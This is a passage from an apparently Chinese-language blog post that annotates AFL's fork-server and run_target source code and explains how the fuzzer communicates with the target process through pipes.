close(out_dir_fd);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    close(dev_null_fd);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    close(dev_urandom_fd);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    close(fileno(plot_file));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* This should improve performance a bit, since it stops the linker from&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       doing extra work post-fork(). *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; 如果没有设置延迟绑定，则进行设置，不使用缺省模式&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (!getenv(&quot;LD_BIND_LAZY&quot;)) setenv(&quot;LD_BIND_NOW&quot;, &quot;1&quot;, 0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Set sane defaults for ASAN if nothing else specified. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; 设置环境变量ASAN_OPTIONS，配置ASAN相关&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    setenv(&quot;ASAN_OPTIONS&quot;, &quot;abort_on_error=1:&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                           &quot;detect_leaks=0:&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                           &quot;symbolize=0:&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                           &quot;allocator_may_return_null=1&quot;, 0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* MSAN is tricky, because it doesn&#x27;t support abort_on_error=1 at this&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       point. So, we do this in a very hacky way. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; MSAN相关&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    setenv(&quot;MSAN_OPTIONS&quot;, &quot;exit_code=&quot; STRINGIFY(MSAN_ERROR) &quot;:&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                           &quot;symbolize=0:&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                           &quot;abort_on_error=1:&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                           &quot;allocator_may_return_null=1:&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                           &quot;msan_track_origins=0&quot;, 0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&#x2F;* 带参数执行目标程序，报错才返回 &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;			 execv()会替换原有进程空间为目标程序，所以后续执行的都是目标程序。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;			 第一个目标程序会进入__afl_maybe_log里的__afl_fork_wait_loop，并充当fork server。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;			 在整个过程中，每次要fuzz一次目标程序，都会从这个fork server再fork出来一个子进程去fuzz。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;			 因此可以看作是三段式：fuzzer -&amp;gt; fork server -&amp;gt; target子进程&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		*&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    execv(target_path, argv);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Use a distinctive bitmap signature to tell the parent about execv()&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       falling through. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; 告诉父进程执行失败，结束子进程&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    *(u32*)trace_bits = EXEC_FAIL_SIG;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    exit(0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Close the unneeded endpoints. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  close(ctl_pipe[0]);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  close(st_pipe[1]);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  fsrv_ctl_fd = ctl_pipe[1]; &#x2F;&#x2F; 父进程只能发送命令&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  fsrv_st_fd  = st_pipe[0];  &#x2F;&#x2F; 父进程只能读取状态&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Wait for the fork server to come up, but don&#x27;t wait too long. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;	&#x2F;&#x2F; 在一定时间内等待fork server启动&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  it.it_value.tv_sec = ((exec_tmout * FORK_WAIT_MULT) &#x2F; 1000);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  it.it_value.tv_usec = ((exec_tmout * FORK_WAIT_MULT) % 1000) * 1000;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  setitimer(ITIMER_REAL, &amp;amp;it, NULL);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  rlen = read(fsrv_st_fd, &amp;amp;status, 4); &#x2F;&#x2F; 从管道里读取4字节数据到status&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  it.it_value.tv_sec = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  it.it_value.tv_usec = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  setitimer(ITIMER_REAL, &amp;amp;it, NULL);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* If we have a four-byte &quot;hello&quot; message from the server, we&#x27;re all set.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     Otherwise, try to figure out what went wrong. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (rlen == 4) { &#x2F;&#x2F; 以读取的结果判断fork server是否成功启动&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    OKF(&quot;All right - fork server is up.&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    return;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;	&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 子进程启动失败的异常处理相关&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (child_timed_out)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    FATAL(&quot;Timeout while initializing fork server (adjusting -t may help)&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (waitpid(forksrv_pid, &amp;amp;status, 0) &amp;lt;= 0)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    PFATAL(&quot;waitpid() failed&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   ... ...&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;我们结合fuzzer对该函数的调用来梳理完整的流程如下：&lt;&#x2F;p&gt;
&lt;p&gt;启动目标程序进程后，目标程序会运行一个fork server，fuzzer自身并不负责fork子进程，而是通过管道与fork server通信，由fork server来完成fork以及继续执行目标程序的操作。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-fork-server-communication-flow.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210908165212.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;对于fuzzer和目标程序之间的通信状态我们可以通过下图来梳理：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-fuzzer-target-communication.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210908170232.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;结合前面的插桩部分一起来看：&lt;&#x2F;p&gt;
&lt;p&gt;首先，&lt;code&gt;afl-fuzz&lt;&#x2F;code&gt; 会创建两个管道：状态管道和控制管道，然后执行目标程序。此时的目标程序的 &lt;code&gt;main()&lt;&#x2F;code&gt; 函数已经被插桩，程序控制流进入 &lt;code&gt;__afl_maybe_log&lt;&#x2F;code&gt; 中。如果fuzz是第一次执行，则此时的程序就成了fork server们之后的目标程序都由该fork server通过fork生成子进程来运行。fuzz进行过程中，fork server会一直执行fork操作，并将子进程的结束状态通过状态管道传递给 &lt;code&gt;afl-fuzz&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;（对于fork server的具体操作，在前面插桩部分时已经根据源码进行了说明，可以回顾一下。）&lt;&#x2F;p&gt;
&lt;p&gt;该函数主要执行目标应用程序，并进行超时监控，返回状态信息，被调用的程序会更新 &lt;code&gt;trace_bits[]&lt;&#x2F;code&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;结合源码进行解释：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;  1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 46&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 47&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 48&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 49&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 50&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 51&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 52&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 53&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 54&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 55&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 56&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 57&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 58&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 59&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 60&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 61&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 62&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 63&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 64&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 65&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 66&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 67&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 68&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 69&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 70&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 71&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 72&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 73&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 74&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 75&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 76&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 77&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 78&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 79&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 80&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 81&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 82&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 83&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 84&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 85&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 86&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 87&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 88&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 89&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 90&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 91&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 92&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 93&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 94&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 95&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 96&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 97&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 98&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 99&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;100&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;101&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;102&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;103&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;104&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;105&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;106&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;107&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;108&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;109&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;110&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;111&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;112&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;113&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;114&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;115&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;116&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;117&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;118&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;119&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;120&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;121&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;122&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;123&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;124&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;125&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;126&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;127&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;128&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;129&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;130&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;131&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;132&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;133&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;134&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;135&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;136&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;137&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;138&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;139&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;140&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;141&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;142&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;143&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;144&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;145&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;146&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;147&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;148&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;149&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;150&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;151&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;152&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;153&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;154&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;155&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;156&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;157&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;158&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;159&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;160&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;161&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;162&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;163&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;164&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;165&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;166&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;167&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;168&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;169&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;170&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;171&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;172&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;173&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;174&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;175&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;176&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;177&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;178&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;179&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;180&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;181&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;182&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;183&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;184&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;185&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;186&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;187&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;188&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;189&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;190&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;191&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;192&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;193&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;194&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;195&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;196&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;197&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;static u8 run_target(char** argv, u32 timeout) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  static struct itimerval it;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  static u32 prev_timed_out = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  static u64 exec_ms = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  int status = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u32 tb4;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  child_timed_out = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* After this memset, trace_bits[] are effectively volatile, so we&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     must prevent any earlier operations from venturing into that&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     territory. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  memset(trace_bits, 0, MAP_SIZE); &#x2F;&#x2F; 将trace_bits全部置0，清空共享内存&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  MEM_BARRIER();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* If we&#x27;re running in &quot;dumb&quot; mode, we can&#x27;t rely on the fork server&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     logic compiled into the target program, so we will just keep calling&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    execve(). There is a bit of code duplication between here and&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     init_fork server(), but c&#x27;est la vie. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (dumb_mode == 1 || no_fork server) { &#x2F;&#x2F; 如果是dumb_mode模式且没有fork server&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    child_pid = fork(); &#x2F;&#x2F; 直接fork出一个子进程&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (child_pid &amp;lt; 0) PFATAL(&quot;fork() failed&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (!child_pid) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     ... ...&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;* Isolate the process and configure standard descriptors. If out_file is&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         specified, stdin is &#x2F;dev&#x2F;null; otherwise, 